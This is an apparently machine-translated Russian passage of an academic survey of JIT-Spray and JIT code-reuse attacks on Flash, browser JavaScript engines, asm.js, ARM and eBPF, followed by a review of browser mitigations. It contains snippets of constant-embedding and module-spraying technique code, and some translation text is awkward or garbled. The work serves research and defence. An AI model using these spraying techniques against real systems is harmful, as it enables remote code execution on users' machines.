Длина инструкции архитектуры x86 является переменной. Следовательно, в пределах потока байтов кода каждое смещение байта является потенциальным началом инструкции, учитывая, что байты с каждым смещением декодируются с помощью x86. С точки зрения эксплуататора, это может быть использовано для внедрения кода: если злоумышленник имеет достаточный контроль над JIT- компилятором, он может заставить его выдавать инструкции, содержащие непосредственные значения, в то время как они сами содержат действительные байты инструкций. В 2010 году Блазакис обнаружил, что ActionScript Adobe Flash напрямую генерирует константы уровня скрипта в машинном коде. Рассмотрим длинное выражение XOR в ActionScript, как показано в коде 1.
Code:Copy to clipboard
1 var y = (
2 0 x3c909090 ˆ
3 0 x3c909090 ˆ
4 0 x3c909090 ˆ
5 ...
6 )
Код 1: Оператор ActionScript, содержащий длинную последовательность XOR.
JIT-компилятор ActionScript генерирует машинный код, содержащий инструкции, показанные в коде 2. Хотя эти инструкции представляют высокоуровневые вычисления, выполняются разные инструкции, если выполнение начинается с первого смещения (см. Код 3).
Поскольку константы ActionScript полностью контролируются злоумышленником, могут быть введены произвольные инструкции полезной нагрузки, размер которых не превышает трех байтов. Код 1: Оператор ActionScript, содержащий длинную последовательность XOR.
Четвертый байт (0x3C) служит для маскировки допустимой операции, представленной кодом операции 0x35 (⊕), и приводит к семантической Nop-Like инструкции (cmp al, 0x35). Это также предотвращает повторную синхронизацию команд.
[CODE]
0 x00: B8 9090903 C mov eax, 0 x3c909090
0 x05: 35 9090903 C xor eax, 0 x3c909090
0 x0a: 35 9090903 C xor eax, 0 x3c909090
...
Код 2: Предполагаемый нативный код, испускаемыйJIT-компилятором ActionScript
Затем противник вынуждает JIT-компилятор генерировать достаточно копий
собственного машинного кода, чтобы их адреса в памяти стали предсказуемыми (в
32-разрядных системах). Затем она может перенаправить поток управления на
предсказанный адрес и выполнить введенный код. Вероятность 80%, что удар по
NOP-Sled не будет. В одном из пяти случаев (20%) поток инструкций будет
поражен, и эксплойт не потерпит неудачу.
Code:Copy to clipboard
0 x01 : 90 nop
0 x02 : 90 nop
0 x03 : 90 nop
0 x04 : 3 C35 cmp al , 0 x35
0 x06 : 90 nop
0 x07 : 90 nop
0 x08 : 90 nop
0 x09 : 3 C35 cmp al , 0 x35
0 x0b : 90 nop
0 x0c : 90 nop
0 x0d : 90 nop
Код 3: Внедренный код, не предназначенный для ActionScript
JIT-компилятор.
Это было рождение JIT-Spray, и дальнейшие атаки не заставили себя долго ждать.
В 2010 году Синцов показал, как автоматизировать и писать Shell-код для атак
JIT-Spray. Проблемы с инструкциями, размер которых превышает три байта, но
большинство из них можно преобразовать в семантически эквивалентные
инструкции, которые не превышают трех байтов. Например, «MOV EAX, 0x41424344»
приводит к пятибайтовой инструкции. Однако его можно разделить на три
инструкции, выполняющие одну и ту же операцию: «MOV EAX, 0x41424yyzz»
генерируется путем управления тремя байтами и предоставления компилятору JIT
возможности манипулировать двумя байтами (yyzz). Они устанавливаются отдельно
с помощью двух инструкций размером два байта: «MOV AH, 0x43» и «MOV AL, 0x44».
Другой хитрый трюк заключался в использовании 0x6A вместо 0x3C в качестве
маскирующего байта. Таким образом, вместо создания семантического NOP, который
изменяет флаги ЦП (3C35 cmp al, 0x35), появилась команда push (6A35 push
0x35). Это позволило противникам использовать условные переходы (т.е. JNZ)
впоследствии. JIT-Spray также был возможен в версии JavaScript Apple Safari
для Windows в 2010 году. Поскольку JIT-компилятор выдавал много кода между
контролируемыми константами JavaScript, автор использовал два байта из
константы в качестве байтов полезной нагрузки, а два других байта в качестве
безусловного перехода к следующей константе. Рассмотрим константу 0x14EB9090 в
операции JavaScript. Компилятор Apple Safari JavaScriptCore baseline-JIT
генерировал код, который можно использовать следующим образом (см. Код 4):
Code:Copy to clipboard
0 x01 : 90 nop
0 x02 : 90 nop
0 x03 : eb14 jmp 0 x19
...
0 x19 : 90 nop
0 x1a : 90 nop
0 x1b : eb14 jmp 0 x31
…
Код 4: Использование констант JavaScript для соединения двух байт полезной
нагрузки с помощью коротких переходов. Хотя только два байта эффективно
используются для злонамеренных целей, Синцов показал, что произвольные
операции все еще возможны. Это включало запись вредоносной полезной нагрузки
на записываемую и исполняемую страницу JIT, а затем переход к ней. В 2010 и
2011 годах было проведено глубокое исследование, особенно на JIT-компиляторах
LLVM и Mozilla Firefox . Авторы продемонстрировали, что бывшие JIT-движки
Mozilla Firefox, такие как JaegerMonkey и TraceMonkey, были склонны к JIT-
Spray. Кроме того, они показали, что значения с плавающей запятой, такие как
-6.828527034422786e-229, могут использоваться для JIT-Spray, поскольку
шестнадцатеричное представление значения из восьми байтов 0x90 было напрямую
передано в области исполняемого кода. Для TraceMonkey и LLVM они смогли
заставить JIT-компилятор выдавать небольшие фрагменты кода, пригодные для атак
с повторным использованием кода, которые они назвали gaJIT. Кроме того, авторы
исследовали меры по смягчению в различных движках JIT и обнаружили, что
большинство из них не применяют достаточную защиту от JIT-Spray (см. Также
Раздел 6). С помощью повторного использования кода в 2013 году Серна показал,
что все еще можно позволить JIT-компилятору Flash ActionScript генерировать
небольшие фрагменты кода по предсказуемым адресам. Несмотря на то, что полная
полезная нагрузка была невозможна из-за мер по уменьшению, которые Adobe
включала в то время (т. е. Случайные NOPs, см. Раздел 6), эти небольшие
фрагменты JIT использовались для утечки адресов возврата из стека. JIT-Spray
также повлиял на JVM: в 2013 году было показано, что константы в операциях XOR
в Java передавались в исполняемый код. Как и в Коде 3, три байта были пригодны
для внедрения кода. Генерация нескольких классов и функций, содержащих
операции, запускает генерацию кода по предсказуемым адресам. Следовательно,
DEP и ASLR были обойдены, управляя указателем команд с уязвимостью повреждения
памяти.
Одна из последних атак JIT-Spray, затрагивающая JIT-компиляторы, была
опубликована в 2016 году: шейдеры WebGL можно было использовать в JavaScript
Internet Explorer и Microsoft Edge [76]. JIT-компилятор WARP создал
собственный код, не защищенный MS-CFG. Таким образом, авторам удалось внедрить
код по предсказуемым адресам с помощью JIT-компилятора шейдера Windows
Advanced Rasterization Platform (WARP). JIT-Spray также возможен в ядре Linux,
если доступны расширенные фильтры пакетов Berkeley (eBPF) (которые по
умолчанию отключены). Однако этот метод обходит защиту, которая запрещает ядру
выполнять код, предоставляемый пользовательским пространством, таким как SMEP
и KERNEXEC. Было показано, что сборка программы BPF и создание множества
сокетов с прикрепленными (BPF) фильтрами приводит к созданию JIT-Spray внутри
ядра. Таким образом, управляемая злоумышленником полезная нагрузка может быть
выполнена, например, порождая корневую оболочку, когда поток управления
перехвачен.
3.2 Тематическое исследование: ASM.JS
Мы опубликовали новую атаку JIT-Spray в 2017 году. Разница заключается в том, что она предназначена не для компилятора JIT, а для компилятора Ahead-Of-Time (AOT) в 32-битном Mozilla Firefox в Windows. Технически говоря, компиляторы AOT не генерируют и не оптимизируют код, если и после того, как определенный высокоуровневый код уже был выполнен несколько раз, но до того, как он был выполнен в первый раз. ASM.JS - это компилятор AOT, использующий подмножество JavaScript. Он соответствует определенному синтаксису и появился в 2013 году в Mozilla Firefox.
Code:Copy to clipboard
function asm_js_module () {
" use asm"
function asm_js_function () {
var val = 0 xc1c2c3c4 ;
return val |0;
}
return asm_js_function 8 }
Код 5: Простой модуль ASM.JS с функцией, возвращающей 32-разрядное целое число. Простой модуль ASM.JS, который скомпилирован заранее без выполнения, показан в коде 5. Загрузка веб-страницы, содержащей код, достаточна для запуска AOT (Ahead-of-Time**)**. Этот модуль запрашивался много раз, и мы обнаружили, что несколько копий собственного кода были отправлены на предсказуемые адреса (см. Код 6).
Code:Copy to clipboard
modules = []
for (i =0; i <=0 x2000 ; i++) {
modules [i] = asm_js_module ()
}
Код 6: Запрос модуля ASM.JS несколько раз для распыления множества копий кода на предсказуемые адреса. Поскольку константы не были слепыми, они появлялись как непосредственные значения в операциях с собственным кодом и могли использоваться как идеальная цель для скрытия контролируемых злоумышленниками байтов полезной нагрузки. В коде 7 показан собственный код, сгенерированный компилятором AOT, и показано, что константа 0xc1c2c3c4 появляется непосредственно в областях исполняемого кода. Кроме того, эти регионы расположены несколько раз по предсказуемым адресам, что делает ASLR неэффективным.
Code:Copy to clipboard
****0023: b8c4c3c2c1 mov eax , 0 xc1c2c3c4
****0028: 6690 xchg ax ,ax
****002 a : 83 c404 add esp ,
4 ****002 d : c3 ret
Код 7: четырехбайтовая константа в собственном коде простой копии кода ASM.JS, многие из которых отправляются по предсказуемым адресам. Нам удалось использовать несколько операций для распыления вредоносного кода по предсказуемым адресам. Обзор представлен на рисунке 1. Помимо прочего, мы определили, что арифметические операции, установка элементов массива и передача параметров вызовам сторонних функций хорошо подходят для встраивания байтов скрытого кода. Однако наиболее интересный метод связан с первым методом JIT-Spray в ARM (см. Раздел 3.3): когда значения с плавающей запятой используются в качестве параметров при вызове функции в модуле ASM.JS, они не отображаются непосредственно в нативный код Вместо этого выдаются инструкции, косвенно ссылающиеся на эти параметры (см. Код 8).
Code:Copy to clipboard
val = + ffi_func (
2261634.5098039214 , // 0 x4141414141414141
156842099844.51764 , // 0 x4242424242424242
1.0843961455707782 e+16 , // 0 x4343434343434343
7.477080264543605 e +20 // 0 x4444444444444444
)
Code:Copy to clipboard
0 x00 : movsd xmm1 , mmword [****0530]
0 x08 : movsd xmm3 , mmword [****0538]
0 x10 : movsd xmm2 , mmword [****0540
] 0 x18 : movsd xmm0 , mmword [****0548]
...
****0530: 41414141 41414141
42424242 42424242
****0540: 43434343 43434343
44444444 44444444
...
Код 8: вызов функции в ASM.JS с двойными параметрами с плавающей запятой и
дизассемблированием сгенерированных констант, ссылающихся на собственный код в
той же области кода. Однако константы находятся в одной и той же исполняемой
области и являются непрерывными в памяти (Я попытался это перевести
нормально). Это очень удобно для злоумышленника, потому что он может
использовать все восемь байтов значения с двойным плавающим значением в
качестве полезной нагрузки и вводить непрерывный Shell-код без прерывания
другими кодами операций. С помощью различных эксплоитов было
продемонстрировано, что этот метод выполним и упрощает эксплуатацию.
Таблица 1: Операция ASM.JS и соответствующий испущенный собственный код
встраивают контролируемые злоумышленником байты кода в непосредственные
значения уязвимостей повреждения памяти. Поскольку злоумышленники могут
воздерживаться от раскрытия памяти и повторного использования кода, необходим
только контроль указателя инструкций. Мы также разработали инструмент для
преобразования полезных нагрузок в его форму ASM.JS, которая затем во время
выполнения передается компилятору AOT в собственный код. Хотя в качестве
байтов полезной нагрузки используются только два или три байта из константы
высокого уровня, все еще возможно выполнить произвольный код. Например, код
stage0 разрешается и вызывает функцию API Windows VirtualAlloc (), затем
копирует в нее большую полезную нагрузку (stage1) и выполняет ее.
3.3 JIT-Spray на ARM
Фундаментальное свойство, делающее возможным использование JIT-Spray на платформе x86, недоступно в архитектуре ARM: собственные инструкции имеют фиксированный размер либо 32-разрядный, либо выровнены по четырехбайтовым адресам (режим ARM), либо имеют размер 16-разрядный и выровнены по двухбайтовым границам (режим Thumb). Кроме того, режим Thumb-2 добавляет новые 32-битные инструкции в Thumb и позволяет смешивать 16-битные и 32-битные инструкции. Следовательно, вставлять произвольный код намного сложнее, чем в x86. Однако первый тип JIT-Spray на ARM, о котором мы знаем, использовал константы с плавающей точкой в ActionScript. Протестированный движок ActionScript JIT сгенерировал код с относительными к ПК ссылками на константы. Кроме того, значения с плавающей точкой находились на той же странице, что и код, и были непрерывными в памяти. Это позволило сделать непрерывный Shell-код без других разрушающих кодов операций.
Code:Copy to clipboard
function readGadget (x) {
return x ˆ 0 x11111610 ;
}
Код 9: функция JavaScript, используемая в JavaScriptCore на ARMv7-A.
Lian et al.. более подробно исследовал идею JIT-Spray на ARMv7-A [33]. JIT-
компилятор JavaScriptCore (из WebKit) генерировал при определенных
обстоятельствах гаджеты, подверженные влиянию злоумышленников по предсказуемым
адресам. Фрагмент JavaScript, скомпилированный в код, содержащий гаджет,
показан в коде 9. DFG JIT генерирует полезные инструкции (см.Код 10). Обратите
внимание, что большинство инструкций гаджета были намеченными инструкциями,
только первая инструкция была непреднамеренной: вместо выполнения
предполагаемой 32-битной инструкции, выровненной по четырехбайтовой границе,
выполнение началось с перехода на вторую половину. Затем выполнение
ресинхронизируется с намеченным потоком команд. В коде 11 показаны инструкции
для гаджета для функции readGadget. Выполнение начинается в середине
инструкции по смещению 0x38 и повторной синхронизации по смещению 0x3a. Тем не
менее гаджет предоставляет злоумышленнику возможность считывать память и
возвращать содержимое в виде 32-разрядных целых чисел в JavaScript.
Code:Copy to clipboard
0 x00 : mov r2 , lr
0 x02 : str .w r2 , [r5 , # -16] ; save return address
...
0 x32 : ldr .w r0 , [r5 , # -64] ; load argument
0 x36 : movw r12 , #5648 ;0 x1610
0 x3a : movt r12 , #4369 ;0 x1111
0 x3e : eor .w r0 , r0 , r12
0 x42 : mov .w r1 , #4294967295 ;0 xffffffff
0 x46 : ldr .w r2 , [r5 , # -16] ; load return address
0 x4a : ldr .w r5 , [r5 , # -40] ; restore frame ptr
0 x4e : mov lr , r2
0 x50 : bx lr ; return
...
Код 10: собственный код, созданный для кода readGadgetJavaScript. Более подробную информацию можно найти в оригинальной статье. Этот и подобные гаджеты были вызваны высокоуровневым кодом JavaScript для выполнения связанных операций. Таким образом, авторы достигли возможности записи Shell-кода в записываемую кодовую страницу и выполнения его, имея контроль только за счетчиком программы.
Code:Copy to clipboard
0 x38 : ldr r0 , [r2 , #64] ; read memory from r2 +#64
0 x3a : movt r12 , #4369 ;0 x1111
0 x3e : eor .w r0 , r0 , r12
0 x42 : mov .w r1 , #4294967295 ;0 xffffffff
0 x46 : ldr .w r2 , [r5 , # -16] ; load return address
0 x4a : ldr .w r5 , [r5 , # -40] ; restore frame ptr
0 x4e : mov lr , r2
0 x50 : bx lr ; return
...
Код 11: непреднамеренный поток инструкций для JavaScript-кода readGadget, способный считывать память, указанную регистром R2. В последующей работе Lian et al. предназначался для JIT-компилятора Mozilla Firefox IonMonkey из его движка SpiderMonkey JavaScript на ARM. Они смогли построить полную самодостаточную нагрузку JIT по предсказуемым адресам, не полагаясь на гаджеты. Они принудительно генерировали 32-битные инструкции ARM AND, имея по 20 битов контроля над каждой из контекста JavaScript. Им удалось интерпретировать эту инструкцию как две 16-битные инструкции Thumb-2. Вооружившись этой возможностью, первая инструкция используется для выполнения полезных операций для атакующего. Вторая инструкция используется в качестве безусловной относительной ветви ПК к следующей непреднамеренной команде, которая должна быть выполнена. Кроме того, он предотвращает переключение обратно в поток команд, предназначенный для компилятора. В целом, этот полный JIT-Spray на ARM был первым в своем роде, и авторы опровергли мнение о том, что JIT-Spray невозможен на архитектурах RISC с фиксированной длиной инструкций и фиксированными границами инструкций.
4.Повторное использование кода на основе JIT
Первая (академическая) работа, в которой использовались скомпилированные во
время выполнения гаджеты из JIT-компилятора, возникла из-за необходимости
обходить защиту от повторного использования кода в 2015 году. Если статический
код программы не содержит гаджетов, то повторное использование кода обычно не
вариант. Однако если гаджеты создаются компилятором JIT, повторное
использование кода снова становится возможным. Athanasakis et al.
предназначался для IonMonkey в 32-битном Linux и Chakra в 64-битном Internet
Explorer 9 в Windows. В общем, они спровоцировали JIT-компилятор на генерацию
гаджетов, содержащих всего несколько инструкций, и использовали двухбайтовые
константы JavaScript. Это обошло постоянное ослепление в Internet Explorer и
других защитах, связанных с JIT, которые были включены в то время. Однако
обратите внимание, что авторам требовалось раскрытие памяти, чтобы найти
гаджеты в памяти. Следовательно, мы не считаем его JIT-Spray, поскольку JIT-
Spray не требует утечки информации, а только контролирует указатель
инструкций, чтобы перенаправить поток управления на заранее определенный
адрес, содержащий скомпилированный JIT код злоумышленника. В 2015 году были
обнаружены другие недостатки в движке Chakra JavaScript Internet Explorer,
связанные с повторным использованием JIT-кода. В то время как Chakra применяет
постоянное ослепление, выражения деления в JavaScript с 32-разрядными целыми
числами привели к появлению не слепых четырехбайтовых констант, содержащих
внедренный код. Кроме того, авторы показали, что две 16-разрядные константы
передавались непосредственно в одну инструкцию x86, когда первая
использовалась в качестве индекса массива, а вторая - в качестве элемента
массива. Чтобы иметь возможность перейти к этому внедренному коду, они
использовали инструкцию «JMP ECX» самого движка JavaScript, который не был
защищен MS-CFG. Тем не менее, как введенный код, так и инструкция перехода
были доступны только для раскрытия памяти. Следовательно, мы не считаем его
JIT-Spray, а используем его повторно. Мы также хотим отличить термин JIT-ROP
от тех методов нападения, которые представлены в этой статье. Он не связан с
JIT-компиляторами. Он просто описывает метод многократного определения
местоположения, чтения и разборки статического кода с помощью e. г. раскрытие
памяти в JavaScript. Затем полезная нагрузка повторного использования кода
может быть построена точно в срок. Это необходимо, если к целевым двоичным
файлам применяется мелкозернистая рандомизация кода, поскольку она скрывает не
только базовые адреса модулей в адресном пространстве, но также записи
функций, базовые блоки и адреса инструкций.
Таблица 2: Код JavaScript и соответствующий выданный код JIT отсутствуют для
скрытия четырехбайтовых констант в Google Chrome (найден Dachshund). Тем не
менее, защита от JIT-ROP была ослаблена с помощью JIT-скомпилированных
гаджетов: одним из таких средств защиты является память «только для
исполнения». Он запрещает чтение кода, но адреса JIT-гаджетов все еще могут
быть найдены по средствам последующей утечки читаемого объекта данных, пока не
будут обнаружены указатели на гаджеты. Maisuradze и др. Смогли заставить JIT-
компиляторы Internet Explorer, Google Chrome и Mozilla Firefox скрывать код в
ветвях. Их тщательно сконструированный код JavaScript приводил к инструкциям
потока управления, таким как условные переходы и прямые вызовы. Их целевые
адреса и смещения имели скрытые байты кода и, следовательно, могли
использоваться в качестве гаджетов для атак с повторным использованием кода.
В качестве защиты, постоянное сворачивание или ослепление не является опцией,
поскольку неявные константы находятся в пределах (относительных) вызовов /
переходов. Следовательно, они предложили исключить все неявные константы,
заменив их инструкции косвенного управления потоком. Как мы упоминали во
введении и описывали в смягчениях(см. Раздел 6), длинные полезные нагрузки и
гаджеты JIT-Spray предотвращаются постоянным ослеплением. Однако Maisuradze et
al. также пытались найти ”не ослепленные” четырехбайтовые константы, несмотря
на четырехбайтовое постоянное ослепление в современных веб-браузерах. В целом
удалось найти несколько операций JavaScript с константами, которые JIT-
компилятор кодирует в память в Google Chrome и Microsoft Edge. На таблице 2
представлены их результаты в Google Chrome.
5.Злоупотребление недостатками JIT-компилятора
Методы, которые обсуждались в предыдущих двух разделах, основывались на внутренней работе компиляторов JIT и шли в направлении обходных путей для предотвращения эксплойтов. Далее мы представляем атаки, которые могут рассматриваться как основанные на недостатках и ошибках компиляторов JIT, но, пожалуйста, обратите внимание, что различие может иногда быть нечетким.
5.1 Больше обходных путей смягчения
Очень популярным средством смягчения последствий является DEP. Несмотря на то,
что JIT-Spray обходит DEP, была также возможность перезаписать испускаемый
код, если права доступа к кодовым страницам доступны для записи. В настоящее
время ни статический код, ни JIT-скомпилированный код не должны быть
одновременно исполняемыми и записываемыми. В настоящее время это не относится
к Google Chrome. Тем не менее, даже если W ⊕X включен для регионов JIT, они
должны быть записаны в первую очередь и быть исполняемыми впоследствии. В 2015
году Song et al. использовал это маленькое временное окно для перезаписи кэшей
кода в многопоточном коде с использованием веб-работников [72]. Следовательно,
им удалось внедрить код несмотря на W ⊕X в динамических областях кода. В 2016
году Chakra Internet Explorer подверглась аналогичной атаке. Авторы сделали
три шага: во-первых, они запустили JIT-компилятор для кодирования большой
области кода. Это создало временное окно, в котором фоновый поток работал над
временным буфером для записи кода. На втором этапе этот буфер находился с
раскрытиями памяти и перезаписывался вредоносным кодом на третьем этапе.
Благодаря этой атаке они смогли обойти DEP и MS-CFG. В 2017 году Frassetto et
al. продемонстрировал атаку только на данные на промежуточное представление
(IR) Chakres в Microsoft Edge. Вместо создания / изменения кода или указателей
кода они создали вредоносный объект C ++, представляющий операторы IR, с
обязательным условием примитива чтения / записи из JavaScript. Поскольку JIT-
компилятор использует эти объекты для генерации собственного кода, авторы
смогли создавать и выполнять свой код по своему выбору. Fratrik подробно
исследовал JIT-компилятор Microsoft Edge в 2018 году. Среди других недостатков
он смог внедрить свой код выбора, чтобы обойти ACG, злоупотребляя архитектурой
сервера JIT.
Microsoft Edge использует отдельный сервер JIT для генерации динамического
кода для процесса браузера (контента). Этот процесс разделяет область памяти с
процессом браузера и отображает динамический код в эту общую область. JIT-
сервер получает доступ к региону с правами на запись, в то время как процесс
браузера имеет исполняемый вид региона. Таким образом, процесс браузера
подчиняется ACG: он не может модифицировать или создавать кодовые страницы сам
по себе, он может только выполнять их. Автор обнаружил, что JIT-сервер можно
обмануть, чтобы сделать управляемую злоумышленником память в исполняемом
процессе браузера: если процесс браузера скомпрометирован, исполняемое
представление общей области может быть не отображено. Затем злоумышленник
распределяет доступную для записи память по тому же адресу и записывает в нее
полезную нагрузку. Процесс JIT с радостью использует следующий адрес и пометит
его как исполняемый без изменения полезной нагрузки. Таким образом, ACG был
обойден без непосредственного вмешательства в содержание кодовых страниц.
Обновление безопасности исправило проблему.
5.2 Уязвимости JIT-компилятора
JIT-компиляторы представляют собой сложные программные системы, как и другие компиляторы. Следовательно, естественно, что они содержат критические ошибки безопасности. Несмотря на то, что постоянно обнаруживаются уязвимости, мы хотим кратко перечислить наиболее значимые на момент написания статьи образцовым образом. DFG JIT от Apple Safari стал жертвой ошибок оптимизации во время конкурсов Pwn2Own в 2017 и 2018 годах. В оба года это было отправной точкой для участников, чтобы повысить свой уровень привилегий с помощью дополнительных методов эксплуатации. Одна интересная ошибка JIT-оптимизации в Google Chrome V8 дала злоумышленнику очень мощные примитивы, такие как утечка произвольной памяти и создание произвольных объектов JavaScript. Выполнение кода было достигнуто путем записи кода на страницу JIT. Для более подробной информации читатель ссылается на оригинальное исследование. JIT-компилятор в Chakra также подвержен уязвимостям. Например, CVE-2018-0953 позволил создать путаницу типов, установив элемент массива с магией значение. Это стало возможным, потому что JIT-компилятор пропустил проверку чека динамического кода.
6.Смягчения
Прежде чем углубляться в более общие меры по смягчению воздействия JIT-Spray и других средств защиты, связанных с JIT, мы рассмотрим исправления для ASM.JS JIT-Spray из Раздела 3.2. Mozilla назначила CVE-2017-5375 и CVE-2017-5400 для этого метода обходного обхода. Было назначено два CVE, потому что первого исправления было недостаточно: рандомизация для выделения кода была увеличена, но при определенных обстоятельствах старый код, отвечающий за передачу областей ASM.JS по предсказуемым адресам, мог все еще срабатывать. Последующее исправление изменило схему распределения: при запуске, когда адресное пространство почти пусто, случайный диапазон адресов зарезервирован для выделения кода ASM.JS. Местоположение этого диапазона трудно предсказать атакующему. Позднее, во время выполнения, как только запрашиваются модули ASM.JS, регионы из этого набора страниц объединяются и высвобождаются при необходимости. Поскольку исходный код является общим для ASM.JS и WebAssembly, эта схема защиты (также известная как рандомизация выделения) также используется для выделения кода WebAssembly в Mozilla Firefox. Начальный диапазон адресов дополнительно ограничен определенным количеством страниц, чтобы предотвратить исчерпание адресного пространства во время распыления (также известное как ограничение выделения). Мы уже объясняли постоянное свертывание во введении. Adobe включила постоянное свертывание в JIT-компилятор Flash ActionScript, чтобы противостоять исходным атакам JIT-Spray. Это предотвратило непосредственные контролируемые злоумышленником константы в коде JIT. Тем не менее, его вскоре обошли с помощью оператора ActionScript IN. Достаточно было использовать одну операцию IN в операции, иначе содержащей OR, чтобы обмануть JIT-компилятор и снова получить немедленные значения, контролируемые атакующим. Код ActionScript «0x3c909090 IN 0x3c909090 | 0x3c909090 | ... »снова дали нативные салазки, когда выполнялись с не смещенным смещением. С постоянным ослеплением была разработана и внедрена защита, которая предотвращает контролируемые злоумышленником немедленные значения в коде JIT. Таким образом, компилятор во время компиляции копирует непосредственное значение со случайным ключом, неизвестным злоумышленнику. Прежде чем значение используется в операции в собственном коде, оно записывается с этим ключом во время выполнения. Таким образом, все операции в нативном коде остаются действительными,
Feautre| Impact on| Mozila Firefox| Google Chrome| Microsoft Edge| Internet
Explorer
---|---|---|---|---|---
64-bit adress space| Predictable location of injected code| ✓| ✓| ✓| ✗/✓∗
ASLR| Predictable location of injected code| ✓| ✓| ✓| ✓
CFI| Execution of injected code| ✗| ✓◦| ✓†| ✓†‡
Random nop insertion| Predictable location of injected code| ✗| ✓| ✓| ✓
Constant folding| Code injection| ✓| ✓| ✓| ✓
Constant blinding of Code injection| Code injection| ✗| ✓| ✓| ✓
W ⊕X JIT regions| JIT-region overwrite| ✓| ✗| ✓| ✓
JIT-base offset Predictable location and/or randomization| Predictable
location of injected code| ✓| ✓| ✓| ✓
JIT allocation Predictable location restriction| Predictable location of
injected code| ✓| ✓| ✓| ✓
Guard pages| JIT-region overwrite| ✓ #| ✓#| ✓#| ✓#
---|---|---|---|---|---
*- по умолчанию 32-битный, переход на 64-битный требует изменения в реестре (не по умолчанию)
◦- применяется LLVM-CFI
†- применяется MS-CFG
‡- частичное внедрение MS-CFG
#- не обязательно для исполняемых областей JIT
но не легко предсказуемы противниками, и, следовательно, скрыть байты кода
невозможно. Поскольку на производительность влияют ослепляющие константы,
обычно только четырехбайтовые или большие константы являются слепыми.
Воздействие слишком радикально для двухбайтовых или меньших констант. В
результате это приводит к возможности скрыть код и позволить компилятору JIT
создавать
гаджеты снова. Еще одна возможность сделать скрытый код сразу
Менее предсказуемы случайные числа. Различные инструкции типа NOP различных
размеров, такие как «LEA ESP, [ESP]», «XCHG EDX, EDX» или «MOV ECX, ECX»,
могут смешивать запланированные операции, скомпилированные JIT. Если они
неизвестны атакующему, Jumping to a NOP с помощью указателя инструкции может
завершиться неудаче из за случайных выпадов. Adobe включила эту технику в 2011
году в JIT-компилятор ActionScript, но частота выброса случайных NOP была
слишком мала, чтобы сломать маленькие гаджеты JIT. Однако это предотвратило
полную самостоятельную загрузку JIT. Точно так же сдвиг предполагаемого кода
JIT со случайным базовым смещением в областях кода добавляет непредсказуемость
к местоположению введенных байтов кода. Не занимаясь непосредственной защитой
JIT-Spray или JIT-атак с повторным использованием кода.
JIT-кодовые страницы без флага записи не могут быть перезаписаны, а защитные
страницы не позволяют произойти переполнению буфера для достижения JIT-кодовых
страниц (в случае, если они доступны для записи и смежны с объектами кучи).
Например, регионы JIT-кода в Mozilla Firefox больше не доступны для записи с
конца 2015 года. В 2011 году JitDefender уже использовал механизмы для
преобразования W ⊕ X в JIT-код ActionScript и JavaScript. При таком подходе
регионы JIT-кода не выполнялись и переключались на только исполняемые, если
был сделан законный вызов регионов JIT. Это предотвратило незаконное
выполнение полезных нагрузок, обработанных JIT, поскольку переходы к нему
попадали в код, который не был исполняемым. Librando, JIT-инфраструктура,
может применять некоторые из этих защит к компиляторам COTS JIT в «черном
ящике». Таким образом, функции выделения операционной системы перехватываются,
чтобы анализировать, диверсифицировать и перезаписывать скомпилированный код,
который должен быть точно в срок. К JIT-коду применяются рандомизация
распределения, постоянное ослепление, случайная вставка NOP и различные
оптимизации. Авторам удалось укрепить Java и V8 с замедлением от 1,15 до 3,5
раз. RIM, JITSafe и INSeRT используют метод Obfuscation, Diversification и
рандомизацию аналогичным образом, чтобы разбить скрытый код на
непосредственные значения и препятствовать JIT-Spray. В то время как
целостность потока управления стала очень популярной для статического кода,
для динамического кода мало CFI.
RockJIT - это одна система, нацеленная на динамическое обеспечение целостности
потока управления для собственного кода. Он применяет политики к коду JIT и
JIT-компилятору сам. Среди прочих методов, после передачи анализа исходного
кода, используются проверки, чтобы разрешить только цели действительного ввода
кода быть целью косвенных ветвей. Это мешает JIT-Spray, потому что байты
нерасширенного кода в середине предполагаемой инструкции являются
недопустимыми целями кода. Авторы применили RockJIT к V8 с падением
производительности на 14,6%. Native Client (NaCl), формально собственный
движок кода в Google Chrome, похож на RockJIT. Он применяет программную
изоляцию отказов (SFI) в контексте браузера. Код выровнен по 32-байтовым
фрагментам, а косвенным ветвям разрешено только переходить к началу
фрагментов. Это выполняется путем проверки масок адресов перед выдачей
косвенной ветви. Последующая работа пыталась улучшить CFI для кода JIT.
JITScope работает с инфраструктурой LLVM и может не только укрепить код JIT и
JIT-компилятор, но и приложение в целом с помощью CFI. Авторы применили
JITScope к TraceMonkey с влиянием на производительность менее 10%. В настоящее
время CFI включен для кода JIT в Microsoft Edge с MS-CFG, а LLVM-CFI включен в
Google Chrome. Grsecurity использует RAP, передовое и обратное решение CFI для
Linux, предотвращающее выполнение непреднамеренных инструкций. Подобно
разделению JIT вне процесса в Microsoft Edge, в 2014 году Lobotomy предложила
двухпроцессную модель. Процесс браузера имеет исполняемое представление
области совместно используемой памяти, в то время как процесс JIT имеет
доступное для записи представление этой области. Таким образом, только JIT
процесс может создавать код JIT и манипулировать им, а уязвимости в процессе
браузера не могут изменять или перезаписывать регионы JIT. Было предложено
несколько других способов защиты от недостатков, связанных с JIT, таких как
JIT-Sec. JIT-Sec применяет монитор к JIT-коду для запрета системных вызовов.
Это помогает нарушать самодостаточные полезные нагрузки JIT-Spray, которые
выдают системные вызовы, когда авторы считают, что предполагаемый код JIT не
выполняет системные вызовы. Еще одна сложная защита, называемая JIT-Guard,
использует архитектуру Intel SGX и различные другие методы для защиты от
внедрения кода, повторного использования кода и атак только на данные.
Критические части JIT-компилятора изолированы в анклавах SGX, для кода JIT
добавлен уровень рандомизации, и раскрытия памяти решаются с помощью уровня
косвенности. Основным изменением, которое можно рассматривать как неявное
смягчение, является переход от 32-разрядных к 64-разрядным архитектурам. В
настоящее время все основные веб-браузеры, кроме Internet Explorer, работают
как собственные 64-битные x86-приложения. Аналогично, платформа ARM имеет
64-битную архитектуру под названием AArch64, которая поддерживает 64-битное
адресное пространство. Поскольку 64-разрядное адресное пространство больше,
чем 32-разрядное, JIT-Spray кажется невозможным, поскольку распыление многих
областей кода для получения предсказуемого адреса невозможно. Тем не менее,
повторное использование JIT-кода все еще может быть полезным, если раскрытие
памяти может осуществляться в 64-разрядных целях. Таблица 2 суммирует влияние
(безопасности) функций на повторное использование JIT-Spray и JIT-кода. Если
выброс непреднамеренных байтов кода (внедрение кода), распыление в
предсказуемые места и выполнение непреднамеренного кода полностью
предотвращены, то JIT-Spray недопустим. Имея комбинацию постоянного
ослепления, 64-битного адресного пространства, высокой степени ASLR и CFI,
можно достичь этой цели, если все будет правильно реализовано.
7.Заключение
